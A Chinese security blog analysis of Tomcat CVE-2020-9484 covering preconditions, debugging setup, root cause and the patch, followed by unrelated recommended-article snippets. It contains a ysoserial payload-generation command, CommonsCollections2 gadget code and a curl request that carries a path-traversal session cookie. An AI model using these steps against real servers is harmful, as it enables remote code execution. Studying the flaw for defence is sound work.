合天智汇
合天智汇

CVE-2020-9484 tomcat session反序列化漏洞分析

本文借助CVE-2020-9484 Tomcat漏洞详细的介绍了本地和远程调试Tomcat 源码。分析漏洞成因以及补丁修补情况，以及分析ysoserial反序列化链。

0x01 漏洞简介

Apache Tomcat发布通告称修复了一个源于持久化Session的远程代码执行漏洞（CVE-2020-9484）。漏洞条件比较苛刻：

  1. tomcat必须启用session持久化功能FileStore

  2. tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget

  3. 在服务器上存在已知路径文件内容可控

0x02 影响范围

Apache Tomcat 10.x < 10.0.0-M5
Apache Tomcat 9.x < 9.0.35
Apache Tomcat 8.x < 8.5.55
Apache Tomcat 7.x < 7.0.104

0x03 漏洞依赖条件

从官网下载tomcat 8.5.30

CVE-2020-9484 tomcat session反序列化漏洞分析_第1张图片

0x1 配置session持久化

conf/context.xml

0x2 部署Gadgets jar包

下载commons-collections4-4.0.jar 并放在tomcat lib/目录下

CVE-2020-9484 tomcat session反序列化漏洞分析_第2张图片

0x04 多种 Tomcat 调试方法

0x1 本地调试

利用intellij idea 进行本地调试，创建项目、添加tomcat服务、添加tomcat源码包、配置项目lib库文件

Step1 创建项目

创建web Application项目

CVE-2020-9484 tomcat session反序列化漏洞分析_第3张图片

Step2 添加tomcat服务

选择configurations 配置tomcat 服务信息如下图所示

CVE-2020-9484 tomcat session反序列化漏洞分析_第4张图片

选择tomcat local ，tomcat 路径、配置端口等

Step3 添加tomcat源码

在intellij idea中添加tomcat 源码

CVE-2020-9484 tomcat session反序列化漏洞分析_第5张图片

Step4 配置项目lib库文件

为了使得代码能够索引方便调试，将tomcat 相关jar以及源码设成为library，如下图所示

CVE-2020-9484 tomcat session反序列化漏洞分析_第6张图片

0x2 远程调试

利用intellij idea 进行远程调试，修改默认启动脚本、添加remote调试配置

0x1 修改启动脚本

修改catalina.bat添加debug配置，调试端口为 5005，这是要检验端口有没有被防火墙禁掉

CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005"

查看端口是否开放

╰─➤  lsof -i:5005                                                                                1 ↵
COMMAND   PID   USER   FD   TYPE             DEVICE SIZE/OFF NODE NAME
java    65934 xx 6u  IPv4 0x66cb19ff98f7365b      0t0  TCP localhost:avt-profile-2 (LISTEN)

0x2 打开项目

直接打开tomcat 8.5.30 源代码

CVE-2020-9484 tomcat session反序列化漏洞分析_第7张图片

0x3 配置debug属性

在intellij idea中配置debug ip及port

CVE-2020-9484 tomcat session反序列化漏洞分析_第8张图片

0x05 漏洞原理及触发分析

当使用tomcat时，如果使用了tomcat提供的session持久化功能，就会在一次会话中尝试读取session文件中的内容，并进行反序列化。

具体逻辑如下：

0x1 路径拼接

如果打开了session 持久化 那么tomcat将会把session 的名称作为文件名并进行读取。

java 路径 org.apache.catalina.session.FileStore：

CVE-2020-9484 tomcat session反序列化漏洞分析_第9张图片

在file函数中直接将id作为文件名进行拼接，这里可以进行路径穿越到根目录，如下图所示：

CVE-2020-9484 tomcat session反序列化漏洞分析_第10张图片

0x2 反序列化

Tomcat拼接过路径之后把读取的文件内容带入反序列化函数，如果此时存在文件上传漏洞，就可以达到反序列化RCE的效果。

CVE-2020-9484 tomcat session反序列化漏洞分析_第11张图片

0x06 漏洞利用

0x1 生成payload

通过Ysoserial 生成反序列化文件，生成方式和原理如下，生成弹出计算器的CommonsCollections2 反序列化payload

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections2  "/Applications/Calculator.app/Contents/MacOS/Calculator" > /tmp/test.session

生成payload的关键代码

@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({"frohoff"})
public class CommonsCollections2 implements ObjectPayload> {
    public CommonsCollections2() {
    }


    public Queue getObject(String command) throws Exception {
        Object templates = Gadgets.createTemplatesImpl(command);
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer));
        queue.add(1);
        queue.add(1);
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
        Object[] queueArray = (Object[])((Object[])Reflections.getFieldValue(queue, "queue"));
        queueArray[0] = templates;
        queueArray[1] = 1;
        return queue;
    }


    public static void main(String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections2.class, args);
    }
}
 
   
完整漏洞利用链
 
   
/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

 
   
具体关于利用链相关可参考 https://xz.aliyun.com/t/1756
 
   
0x2 触发
 
   
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../../../../../../../tmp/test'

 
   
通过错误回显也可看出调用栈
 
   CVE-2020-9484 tomcat session反序列化漏洞分析_第12张图片 
   
0x07 漏洞补丁
 
   
从github tomcat 8.5.55 可以看出漏洞修补在文件判断上，目前没有找到绕过的姿势
 
   CVE-2020-9484 tomcat session反序列化漏洞分析_第13张图片 
   
0x08 参考链接
 
   
https://www.secpulse.com/archives/133378.html
https://c0okb.github.io/2020/05/25/CVE-2020-9484-Tomcat-cluster-sync-session-%E5%A4%8D%E7%8E%B0
https://xz.aliyun.com/t/1756

 
   
实验推荐：Tomcat AJP协议漏洞 
 
   
https://www.hetianlab.com/expc.do?ec=ECID85eb-b142-4c98-a8ad-c926f1986c40
 
   
（Apache Tomcat服务器存在文件读取漏洞，攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp /ROOT目录下的任意文件，如：webapp 配置文件或源代码等）
 
   
  

                            
                        
                    
                    
                    

                    
                    
                    

                
                

                    
                

            
        
    
    

        
你可能感兴趣的:(CVE-2020-9484 tomcat session反序列化漏洞分析)

        

            

                
    
                    
  • 深度学习-点击率预估-研究论文2024-09-14速读
                        sp_fyf_2024
深度学习人工智能
                        
    深度学习-点击率预估-研究论文2024-09-14速读1.DeepTargetSessionInterestNetworkforClick-ThroughRatePredictionHZhong,JMa,XDuan,SGu,JYao-2024InternationalJointConferenceonNeuralNetworks,2024深度目标会话兴趣网络用于点击率预测摘要：这篇文章提出了一种新
    
                    
    • 
                    
  • Tomcat 中 catalina.out、catalina.log、localhost.log 和 access_log 的区别
                        金色888

                        
    打开Tomcat安装目录中的log文件夹，我们可以看到很多日志文件，这篇文章就来介绍下这些日记文件的具体区别。catalina.out日志#catalina.out日志文件是Tomcat的标准输出（stdout）和标准出错（stderr）输出的“目的地”。我们在应用里使用System.out打印的内容都会输出到这个日志文件中。另外，如果我们在应用里使用其他的日志框架，配置了向Console输出日志
    
                    
    • 
                    
  • 10- 【JavaWeb】Tomcat、Servlet基础
                        weixin_44329069
JavaWebtomcatservletjava
                        
    1.MacOS配置Tomcat服务器教程MacOS配置Tomcat服务器教程2.Servlet基础1.创建ServletServlet是一个扩展服务器功能的Java类，主要用于处理HTTP请求。以下是一个简单的Servlet示例：importjava.io.IOException;importjavax.servlet.ServletException;importjavax.servlet.an
    
                    
    • 
                    
  • discuz discuz_admincp.php 讲解,Discuz! 1.5-2.5 命令执行漏洞分析(CVE-2018-14729)
                        weixin_39740419
discuz讲解
                        
    0x00漏洞简述漏洞信息8月27号有人在GitHub上公布了有关Discuz1.5-2.5版本中后台数据库备份功能存在的命令执行漏洞的细节。漏洞影响版本Discuz!1.5-2.50x01漏洞复现官方论坛下载相应版本就好。0x02漏洞分析需要注意的是这个漏洞其实是需要登录后台的，并且能有数据库备份权限，所以比较鸡肋。我这边是用Discuz!2.5完成漏洞复现的，并用此进行漏洞分析的。漏洞点在：so
    
                    
    • 
                    
  • MyBatis系统学习（一）——项目结构及其含义
                        OEC小胖胖
MyBatismybatis学习web后端
                        
    1.MyBatis简介MyBatis是一款优秀的持久层框架，它通过SQL映射的方式实现Java对数据库操作的映射，既保留了SQL语句的灵活性，也简化了代码的编写。在一个MyBatis项目中，核心部分主要有：配置文件（mybatis-config.xml）映射文件（Mapper.xml）实体类（Entity/POJO）接口类（Mapper接口）MyBatis会话工厂（SqlSessionFactor
    
                    
    • 
                    
  • Session与Cookie的区别
                        李蕴Ronnie

                        
    1.存储位置不同Cookie的数据信息存放在客户端浏览器上Session的数据信息存放在服务器上2.存储容量不同单个Cookie保存的数据<=4kb，一个站点最多保存20个CookieSession容量没有上限，但出于对服务器端的性能考虑，Session内不要存放过多的东西，并且要设置Session删除机制3.存取方式不同
    
                    
    • 
                    
  • spring整合hibernate最基础的方式
                        木木ainiks
hibernatespringjava
                        
    1创建文件，可以创建web文件目录2导入jar包，需要导全，我就是jar没导全，后面怎么运行都不对3配置applicationContext.xml<beanid="sessionFactory"
    
                    
    • 
                    
  • cookie和session的区别
                        小草_fdba

                        
    cookie是在客户端保持状态的方案，session是在服务端保持状态cookie不是很安全，可以分析本地的cookie，并进行cookie欺骗session一段时间内会保存在服务器上，当访问增多会占用服务器性能单个cookie保存数据不能超过4k，很有浏览器限制一个站点最多保存20个cookie
    
                    
    • 
                    
  • SIP ACK method
                        modem协议笔记
IMS5G网络智能手机
                        
    SIPACK同样在RFC3261中定义。ACK仅仅用于对INVITErequest的response的回复，例如在通话结束时，MO要断开连接，此时就会生成一条BYE消息。BYE不会经过代理，而是直接路由到MT。MT通过200(OK)响应确认收到BYE，然后就会终止该session和BYEtransaction，此时就不会有ACK发送。在构造的ACKrequest时，ACK必须包含Call-ID、F
    
                    
    • 
                    
  • SIP RFC 关系图汇总--超全---part3
                        jenny_yu1025
RFCSIPsessionextensionprotocolsnetworktransitionauthorization
                        
    SIPRFC关系图汇总--超全---part3Topp.13261-32xx33xx34xx35xx36xx37xx38xx39xxPrevNext40xx41xx42xx43xx44xx45xx46xx47xx48xx49xx50xx51xx52xx53xx54xx55xx56xx57xx58xx59xx60xx61xx62xxBefore326140xx#RFC4028SessionTimer
    
                    
    • 
                    
  • 【网络安全 | 代码审计】JFinal之DenyAccessJsp绕过
                        秋说
网络安全web安全java代码审计漏洞挖掘
                        
    未经许可，不得转载。文章目录前言代码审计推理绕过Tomcat解析JSP总结概念验证阐发前言JFinal是一个基于Java的轻量级MVC框架，用于快速构建Web应用程序。它的设计理念是追求极简、灵活、高效，旨在提高开发效率，减少冗余代码的编写，适合中小型项目以及对性能有较高要求的项目。在较新的JFinal版本中，默认情况下无法直接通过浏览器地址栏输入.jsp文件名来访问对应的JSP文件。也就是说，主
    
                    
    • 
                    
  • 15：00面试，15：06就出来了，问的问题有点变态。。
                        2401_86640859
面试职场和发展
                        
    应该考虑进行如何测试的测试方法怎样估计测试工作量?测试设计的问题当测试过程发生错误时，有哪几种解决办法?测试执行的问题测试评估的目标如何提高测试?C/S模式的优点和缺点B/S模式的优点和缺点…Linuxgrep和find的区别?grep都有哪些用法?查看IP地址?创建和删除一个多级目录?在当前用户家目录中查找haha.txt文件?如何查询出tomcat的进程并杀掉这个进程，写出linux命令?动态
    
                    
    • 
                    
  • 【漏洞分享】2018年-2024年HVV 6000+个漏洞 POC 合集分享
                        漏洞文库-Web安全
漏洞复现web安全python安全测试工具网络安全
                        
    此份poc集成了Zabbix、用友、通达、Wordpress、Thinkcmf、Weblogic、Tomcat等下载链接:链接:https://pan.quark.cn/s/1cd7d8607b8a
    
                    
    • 
                    
  • [附源码]SSM计算机毕业设计游戏账号交易平台JAVA
                        计算机程序源码
java游戏mysql
                        
    项目运行环境配置：Jdk1.8+Tomcat7.0+Mysql+HBuilderX（Webstorm也行）+Eclispe（IntelliJIDEA,Eclispe,MyEclispe,Sts都支持）。项目技术：SSM+mybatis+Maven+Vue等等组成，B/S模式+Maven管理等等。环境需要1.运行环境：最好是javajdk1.8，我们在这个平台上运行的。其他版本理论上也可以。2.ID
    
                    
    • 
                    
  • 使用WAF防御网络上的隐蔽威胁之反序列化攻击
                        baiolkdnhjaio
网络安全
                        
    什么是反序列化反序列化是将数据结构或对象状态从某种格式转换回对象的过程。这种格式通常是二进制流或者字符串（如JSON、XML），它是对象序列化（即对象转换为可存储或可传输格式）的逆过程。反序列化的安全风险反序列化的安全风险主要来自于处理不受信任的数据源时的不当反序列化。如果应用程序反序列化了恶意构造的数据，攻击者可能能够执行代码、访问敏感数据、进行拒绝服务攻击等。这是因为反序列化过程中可能会自动触
    
                    
    • 
                    
  • 【漏洞利用】2018年-2024年HVV 6000+个漏洞 POC 合集分享
                        baiolkdnhjaio
漏洞复现网络安全web安全安全
                        
    此份poc集成了Zabbix、用友、通达、Wordpress、Thinkcmf、Weblogic、Tomcat等下载链接:链接:https://pan.quark.cn/s/1cd7d8607b8a
    
                    
    • 
                    
  • 【保姆级】Protobuf详解及入门指南
                        AQin1012
Java网络protobuf序列化二进制协议协议Java
                        
    目录Protobuf概述什么是Protobuf为什么要使用ProtobufProtobuf实战环境配置创建文件解析/封装数据附录AQin.proto完整代码Protobuf概述什么是ProtobufProtobuf（ProtocolBuffers）协议Protobuf是一种由Google开发的二进制序列化格式和相关的技术，它用于高效地序列化和反序列化结构化数据，通常用于网络通信、数据存储等场景为什
    
                    
    • 
                    
  • Python+Django毕业设计校园易购二手交易平台（程序+LW+部署）
                        Python、JAVA毕设程序源码
课程设计javamysql
                        
    项目运行环境配置：Jdk1.8+Tomcat7.0+Mysql+HBuilderX（Webstorm也行）+Eclispe（IntelliJIDEA,Eclispe,MyEclispe,Sts都支持）。项目技术：SSM+mybatis+Maven+Vue等等组成，B/S模式+Maven管理等等。环境需要1.运行环境：最好是javajdk1.8，我们在这个平台上运行的。其他版本理论上也可以。2.ID
    
                    
    • 
                    
  • Java Spring Boot 全面教程
                        极客代码
玩转Javajavaspringboot开发语言后端
                        
    一、SpringBoot简介与环境搭建1.1SpringBoot简介SpringBoot是一种基于Java的开源框架，由PivotalSoftware开发，旨在简化新Spring应用程序的初始化、配置和部署过程。它遵循约定优于配置的原则，通过内嵌的Tomcat、Jetty或Undertow等容器，使得开发者能够快速构建独立运行的、生产级别的基于Spring框架的应用程序。SpringBoot包含了
    
                    
    • 
                    
  • 【LINUX】在ubuntu中安装tomcat
                        缘起性本空
linux运维服务器
                        
    #instaljdkaptinstallopenjdk-8-jdk-y#enterinstallpathcd/home/a/#copytomcatpackagecp/mnt/hgfs/Share/apache-tomcat-9.0.93.tar.gz.#unpresstomcatpackagetar-xfapache-tomcat-9.0.93.tar.gz#enterbinpathcdapach
    
                    
    • 
                    
  • idea 启动tomcat 工程_使用IDEA创建JavaWeb项目 部署本地tomcat并运行
                        心在天上脚在地上
idea启动tomcat工程
                        
    一、下载商业版IDEA二、新建JavaWeb项目1、在菜单栏找到File>>New>>Project2、在弹出的窗口中找到JavaEnterPrise>>WebApplication，点击Next3、填写项目名称，选择项目位置，然后Finish4、在左侧窗口可以看到IDEA创建JavaWeb工程的目录结构，在src中写java代码，在web目录下放jsp页面。三、下载tomacat下载完成后，解压
    
                    
    • 
                    
  • appium中遇到WebDriverException: Message: An unknown server-side error occurred while processing the ...
                        Kingtester

                        
    selenium.common.exceptions.WebDriverException:Message:Anunknownserver-sideerroroccurredwhileprocessingthecommand.Originalerror:Anewsessioncouldnotbecreated.Details:sessionnotcreated:pleaseclose'com.te
    
                    
    • 
                    
  • javaweb基于ssm框架学生信息管理(成绩)系统设计与实现
                        ancen_73bd

                        
    开发平台、开发工具、应用服务器的介绍开发平台：Windows开发工具：idea+mySql应用服务器：ApacheTomcat8.0学生成绩管理系统主要用于学校学生成绩信息管理，能实现学生、老师、院系、班级、课程的增删改查操作，同时学生能进行选课和退课操作，老师能对学生的成绩录入和修改操作。系统流程图功能结构图部分截图免费源码获得：扫码关注微信公众号：ancenok，然后回复：013
    
                    
    • 
                    
  • AFN用什么方式实现多线程
                        natewang

                        
    AF3.03.0基于NSURLsession。网络请求的线程可由NSURLSessionConfiguration的HTTPMaximumConnectionsPerHost控制。delegate回调在一个线程上。AF2.0基于NSOperation、NSOperationQueue。使用常驻线程来发起请求、接受delegate回调数据。可以自己设置NSOperationQueue的最大线程数来控
    
                    
    • 
                    
  • 第 12 章 Spring MVC 扩展和 SSM 框架整合
                        HUNAG-DA-PAO
springmvcjava
                        
    SpringMVC框架处理JSON数据SON格式数据在现阶段的Web项目开发中扮演着非常重要的角色。在前端页面和后台交互的过程中，需要一种格式清晰、高效且两端都可以轻松使用的数据格式做交互的媒介，JSON正可以满足这一需求。JSON数据的传递处理在Java中处理JSON数据的传递通常涉及到序列化和反序列化操作。序列化是将Java对象转换为JSON格式的字符串，以便可以将其存储或通过网络传输；反序列
    
                    
    • 
                    
  • 登录校验，会话技术，Cookie，Session，JWT令牌，统一拦截技术，过滤器FIlter，拦截器Interceptor，全局异常处理器
                        暖阳爱学计算机
springbootspringbootwebjava
                        
    目录1登录校验2会话技术2.1会话技术介绍2.2Cookie2.2Session2.4令牌技术2.5JWT令牌2.5.1介绍2.5.2生成和校验2.5.3登录下发令牌3统一拦截技术3.1过滤器Filter3.1.1过滤器的使用步骤3.1.2代码实现3.1.3细节3.2拦截器Interceptor3.2.1拦截器的使用步骤3.2.2代码实现3.2.3细节4登录功能具体实现步骤5异常处理5.1异常的解
    
                    
    • 
                    
  • Cookie & Session & JWT认证 & Filter & Interceptor
                        aDreamerOutOfTheSky
javaspringspringboot
                        
    文章目录前言一、Cookie和Session二、JWT1.三部分2.使用3.另外一种使用3.1引入依赖3.1定义工具类三、Filter过滤器3.1实现Filter接口，并且增加@WebFilter注解3.2启动类上增加注解3.3Filter过滤实现登陆校验3.4拦截器实现登陆校验总结前言本文介绍了Cookie，Session，JWT，过滤器，拦截器的相关知识一、Cookie和Session浏览器请
    
                    
    • 
                    
  • Dubbo服务自动Web化之路
                        搜狐技术产品小编2023
dubbo前端
                        
    本文字数：6047字预计阅读时间：40分钟01故障出现事情起源于一次故障，2023年12月14日14点26分，大量Dubbo服务报出异常，无法链接zookeeper集群：Session0x0 for serverdubboZk.xxx.com/10.x.x.x:2181, Closingsocketconnection. AttemptingreconnectexceptitisaSessionE
    
                    
    • 
                    
  • CentOS 运维常用的shell脚本
                        一碗情深
运维运维centoslinux
                        
    文章目录一、操作系统磁盘空间查看实时获取系统运行状态获取cpu、内存等系统运行状态获取系统信息二、应用程序获取进程运行状态查看有多少远程的IP在连接本机三、用户管理统计当前Linux系统中可以登录计算机的账户有多少个创建用户四、自动化管理自动备份日志文件监控的页面地址，对tomcat状态进行重启或维护实时监控本机内存和硬盘，剩余空间不足发送报警邮件一、操作系统磁盘空间查看disk_info.shd
    
                    
    • 
                    
  • 旅游网站设计与实现：SpringBoot框架案例分析
                        2401_85763803
旅游springboot后端
                        
    目录摘要2Abstract31.1课题开发的背景41.2课题研究的意义41.3研究内容5第二章系统开发关键技术62.1JSP技术介绍62.2JAVA简介62.3MyEclipse开发环境72.4Tomcat服务器72.5SpringBoot框架72.6MySQL数据库8第三章系统分析93.1系统可行性研究93.2性能分析103.3业务流程分析10第四章系统的总体设计134.1系统功能结构设计134
    
                    
    • 
                                
  • SQL的各种连接查询
                                    xieke90
UNION ALLUNION外连接内连接JOIN
                                    
    一、内连接 
  概念：内连接就是使用比较运算符根据每个表共有的列的值匹配两个表中的行。 
                内连接（join 或者inner join ） 
      SQL语法： 
      select * fron
    
                                
    • 
                                
  • java编程思想--复用类
                                    百合不是茶
java继承代理组合final类
                                    
          复用类看着标题都不知道是什么,再加上java编程思想翻译的比价难懂,所以知道现在才看这本软件界的奇书 
  
一:组合语法:就是将对象的引用放到新类中即可 
    代码: 
    
package com.wj.reuse;

/**
 * 
 * @author Administrator 组
    
                                
    • 
                                
  • [开源与生态系统]国产CPU的生态系统
                                    comsci
cpu
                                    
     
 
      计算机要从娃娃抓起...而孩子最喜欢玩游戏.... 
 
      要让国产CPU在国内市场形成自己的生态系统和产业链,国家和企业就不能够忘记游戏这个非常关键的环节.... 
 
      投入一些资金和资源,人力和政策,让游
    
                                
    • 
                                
  • JVM内存区域划分Eden Space、Survivor Space、Tenured Gen，Perm Gen解释
                                    商人shang
jvm内存
                                    
    jvm区域总体分两类，heap区和非heap区。heap区又分：Eden Space（伊甸园）、Survivor Space(幸存者区)、Tenured Gen（老年代-养老区）。 非heap区又分：Code Cache(代码缓存区)、Perm Gen（永久代）、Jvm Stack(java虚拟机栈)、Local Method Statck(本地方法栈)。 
HotSpot虚拟机GC算法采用分代收
    
                                
    • 
                                
  • 页面上调用 QQ
                                    oloz
qq
                                    
    <A href="tencent://message/?uin=707321921&amp;Site=有事Q我&amp;Menu=yes">   
<img style="border:0px;" src=http://wpa.qq.com/pa?p=1:707321921:1></a>
    
                                
    • 
                                
  • 一些问题
                                    文强chu
问题
                                    
    1.eclipse 导出 doc  出现“The Javadoc command does not exist.” javadoc command 选择 jdk/bin/javadoc.exe 2.tomcate 配置 web 项目 ..... 
SQL:3.mysql  * 必须得放前面 否则  select&nbs
    
                                
    • 
                                
  • 生活没有安全感
                                    小桔子
生活孤独安全感
                                    
           圈子好小，身边朋友没几个，交心的更是少之又少。在深圳，除了男朋友，没几个亲密的人。不知不觉男朋友成了唯一的依靠，毫不夸张的说，业余生活的全部。现在感情好，也很幸福的。但是说不准难免人心会变嘛，不发生什么大家都乐融融，发生什么很难处理。我想说如果不幸被分手(无论原因如何)，生活难免变化很大，在深圳，我没交心的朋友。明
    
                                
    • 
                                
  • php 基础语法
                                    aichenglong
php 基本语法
                                    
    1 .1 php变量必须以$开头 
<?php 
$a=” b”; 
echo 
?> 
1 .2 php基本数据库类型 Integer  float/double Boolean string 
1 .3 复合数据类型 数组array和对象 object 
1 .4 特殊数据类型  null 资源类型(resource)    $co
    
                                
    • 
                                
  • mybatis tools 配置详解
                                    AILIKES
mybatis
                                    
    MyBatis Generator中文文档 
MyBatis Generator中文文档地址： 
 
 http://generator.sturgeon.mopaas.com/ 
 
该中文文档由于尽可能和原文内容一致，所以有些地方如果不熟悉，看中文版的文档的也会有一定的障碍，所以本章根据该中文文档以及实际应用，使用通俗的语言来讲解详细的配置。 
本文使用Markdown进行编辑，但是博客显示效
    
                                
    • 
                                
  • 继承与多态的探讨
                                    百合不是茶
JAVA面向对象 继承 对象
                                    
    继承 extends   多态 
继承是面向对象最经常使用的特征之一：继承语法是通过继承发、基类的域和方法 //继承就是从现有的类中生成一个新的类，这个新类拥有现有类的所有extends是使用继承的关键字： 
  
  
在A类中定义属性和方法； 
class A{
//定义属性
int age；
//定义方法
public void go
    
                                
    • 
                                
  • JS的undefined与null的实例
                                    bijian1013
JavaScriptJavaScript
                                    
    <form name="theform" id="theform">
</form>

<script language="javascript">
    var a
    alert(typeof(b));    //这里提示undefined
    if(theform.datas
    
                                
    • 
                                
  • TDD实践（一）
                                    bijian1013
java敏捷TDD
                                    
    一.TDD概述 
        TDD：测试驱动开发，它的基本思想就是在开发功能代码之前，先编写测试代码。也就是说在明确要开发某个功能后，首先思考如何对这个功能进行测试，并完成测试代码的编写，然后编写相关的代码满足这些测试用例。然后循环进行添加其他功能，直到完全部功能的开发。 
    
    
                                
    • 
                                
  • [Maven学习笔记十]Maven Profile与资源文件过滤器
                                    bit1129
maven
                                    
    什么是Maven Profile 
Maven Profile的含义是针对编译打包环境和编译打包目的配置定制，可以在不同的环境上选择相应的配置，例如DB信息，可以根据是为开发环境编译打包，还是为生产环境编译打包，动态的选择正确的DB配置信息 
  
Profile的激活机制 
1.Profile可以手工激活，比如在Intellij Idea的Maven Project视图中可以选择一个P
    
                                
    • 
                                
  • 【Hive八】Hive用户自定义生成表函数(UDTF)
                                    bit1129
hive
                                    
    1. 什么是UDTF 
  
UDTF，是User Defined Table-Generating Functions，一眼看上去，貌似是用户自定义生成表函数，这个生成表不应该理解为生成了一个HQL Table， 貌似更应该理解为生成了类似关系表的二维行数据集 
  2. 如何实现UDTF 
 
 继承org.apache.hadoop.hive.ql.udf.generic
    
                                
    • 
                                
  • tfs restful api 加auth 2.0认计
                                    ronin47

                                    
    　　目前思考如何给tfs的ngx-tfs api增加安全性。有如下两点： 
　　一是基于客户端的ip设置。这个比较容易实现。 
　　二是基于OAuth2.0认证，这个需要lua，实现起来相对于一来说，有些难度。 
　　现在重点介绍第二种方法实现思路。 
　　 
前言：我们使用Nginx的Lua中间件建立了OAuth2认证和授权层。如果你也有此打算，阅读下面的文档，实现自动化并获得收益。SeatGe
    
                                
    • 
                                
  • jdk环境变量配置
                                    byalias
javajdk
                                    
    进行java开发，首先要安装jdk，安装了jdk后还要进行环境变量配置： 
 
1、下载jdk（http://java.sun.com/javase/downloads/index.jsp），我下载的版本是：jdk-7u79-windows-x64.exe 
 
2、安装jdk-7u79-windows-x64.exe 
 
3、配置环境变量：右击"计算机"-->&quo
    
                                
    • 
                                
  • 《代码大全》表驱动法-Table Driven Approach-2
                                    bylijinnan
java
                                    
    package com.ljn.base;

import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Collections;
import java.uti
    
                                
    • 
                                
  • SQL 数值四舍五入 小数点后保留2位
                                    chicony
四舍五入
                                    
      
1.round() 函数是四舍五入用，第一个参数是我们要被操作的数据，第二个参数是设置我们四舍五入之后小数点后显示几位。 
2.numeric 函数的2个参数，第一个表示数据长度，第二个参数表示小数点后位数。 
例如： 
　　select   cast(round(12.5,2)   as   numeric(5,2))  
    
                                
    • 
                                
  • c++运算符重载
                                    CrazyMizzz
C++
                                    
    一、加+，减-，乘*，除/ 的运算符重载 
 
Rational operator*(const Rational &x) const{ 
 return Rational(x.a * this->a); 
 } 
在这里只写乘法的，加减除的写法类似 
 
二、<<输出,>>输入的运算符重载 
     &nb
    
                                
    • 
                                
  • hive DDL语法汇总
                                    daizj
hive修改列DDL修改表
                                    
    hive DDL语法汇总 
１、对表重命名 
hive> ALTER TABLE table_name RENAME TO new_table_name; 
  
2、修改表备注 
hive> ALTER TABLE table_name SET TBLPROPERTIES ('comment' = new_comm
    
                                
    • 
                                
  • jbox使用说明
                                    dcj3sjt126com
Web
                                    
    参考网址：http://www.kudystudio.com/jbox/jbox-demo.html   jBox v2.3 beta    [ 
点击下载]  
 
技术交流QQGroup：172543951 100521167   
 
 [2011-11-11] jBox v2.3 正式版 
 - [调整&修复] IE6下有iframe或页面有active、applet控件
    
                                
    • 
                                
  • UISegmentedControl 开发笔记
                                    dcj3sjt126com

                                    
      //    typedef NS_ENUM(NSInteger, UISegmentedControlStyle) { 
    //        UISegmentedControlStylePlain,     // large plain 
  &
    
                                
    • 
                                
  • Slick生成表映射文件
                                    ekian
scala
                                    
    Scala添加SLICK进行数据库操作，需在sbt文件上添加slick-codegen包 
 
"com.typesafe.slick"    %% "slick-codegen"      % slickVersion 
因为我是连接SQL Server数据库，还需添加slick-extensions，jtds包 
 

"com.typesa
    
                                
    • 
                                
  • ES-TEST
                                    gengzg
test
                                    
    package com.MarkNum;

import java.io.IOException;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;

import javax.servlet.ServletException;
import javax.servlet.annotation
    
                                
    • 
                                
  • 为何外键不再推荐使用
                                    hugh.wang
mysqlDB
                                    
    表的关联，是一种逻辑关系，并不需要进行物理上的“硬关联”，而且你所期望的关联，其实只是其数据上存在一定的联系而已，而这种联系实际上是在设计之初就定义好的固有逻辑。 
 
在业务代码中实现的时候，只要按照设计之初的这种固有关联逻辑来处理数据即可，并不需要在数据库层面进行“硬关联”，因为在数据库层面通过使用外键的方式进行“硬关联”，会带来很多额外的资源消耗来进行一致性和完整性校验，即使很多时候我们并不
    
                                
    • 
                                
  • 领域驱动设计
                                    julyflame
VODAO设计模式DTOpo
                                    
    概念： 
 
VO（View Object）：视图对象，用于展示层，它的作用是把某个指定页面（或组件）的所有数据封装起来。 
 
DTO（Data Transfer Object）：数据传输对象，这个概念来源于J2EE的设计模式，原来的目的是为了EJB的分布式应用提供粗粒度的数据实体，以减少分布式调用的次数，从而提高分布式调用的性能和降低网络负载，但在这里，我泛指用于展示层与服务层之间的数据传输对
    
                                
    • 
                                
  • 单例设计模式
                                    hm4123660
javaSingleton单例设计模式懒汉式饿汉式
                                    
           单例模式是一种常用的软件设计模式。在它的核心结构中只包含一个被称为单例类的特殊类。通过单例模式可以保证系统中一个类只有一个实例而且该实例易于外界访问，从而方便对实例个数的控制并节约系统源。如果希望在系统中某个类的对象只能存在一个，单例模式是最好的解决方案。 
     &nb
    
                                
    • 
                                
  • logback
                                    zhb8015
loglogback
                                    
    一、logback的介绍 
     Logback是由log4j创始人设计的又一个开源日志组件。logback当前分成三个模块：logback-core,logback- classic和logback-access。logback-core是其它两个模块的基础模块。logback-classic是log4j的一个 改良版本。此外logback-class
    
                                
    • 
                                
  • 整合Kafka到Spark Streaming——代码示例和挑战
                                    Stark_Summer
sparkstormzookeeperPARALLELISMprocessing
                                    
    作者Michael G. Noll是瑞士的一位工程师和研究员，效力于Verisign，是Verisign实验室的大规模数据分析基础设施（基础Hadoop）的技术主管。本文，Michael详细的演示了如何将Kafka整合到Spark Streaming中。 期间， Michael还提到了将Kafka整合到 Spark Streaming中的一些现状，非常值得阅读，虽然有一些信息在Spark 1.2版
    
                                
    • 
                                
  • spring-master-slave-commondao
                                    王新春
DAOspringdataSourceslavemaster
                                    
    互联网的web项目，都有个特点：请求的并发量高，其中请求最耗时的db操作，又是系统优化的重中之重。 
 
为此，往往搭建 db的 一主多从库的 数据库架构。作为web的DAO层，要保证针对主库进行写操作，对多个从库进行读操作。当然在一些请求中，为了避免主从复制的延迟导致的数据不一致性，部分的读操作也要到主库上。（这种需求一般通过业务垂直分开，比如下单业务的代码所部署的机器，读去应该也要从主库读取数
    
                                
    •